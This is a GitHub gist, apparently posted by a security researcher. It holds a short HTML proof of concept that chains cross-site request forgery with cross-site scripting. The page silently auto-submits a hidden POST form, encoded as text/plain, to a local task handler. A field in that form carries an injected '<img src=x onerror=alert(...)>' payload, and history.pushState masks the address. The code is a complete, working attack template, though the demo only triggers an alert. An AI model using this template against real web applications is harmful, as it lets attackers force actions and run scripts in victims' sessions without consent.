Created
August 22, 2022 14:46
-
-
Save 7h3h4ckv157/45ac7068522ae8840d6b4728407e0d73 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<script>history.pushState('', '', '/')</script> | |
<form action="http://127.0.0.1:8080/example_task_handler" method="POST" enctype="text/plain"> | |
<input type="hidden" name="<img src" value="x OnError=alert("xss")>" /> | |
<input type="submit" value="Submit request" /> | |
</form> | |
<script> | |
document.forms[0].submit(); | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment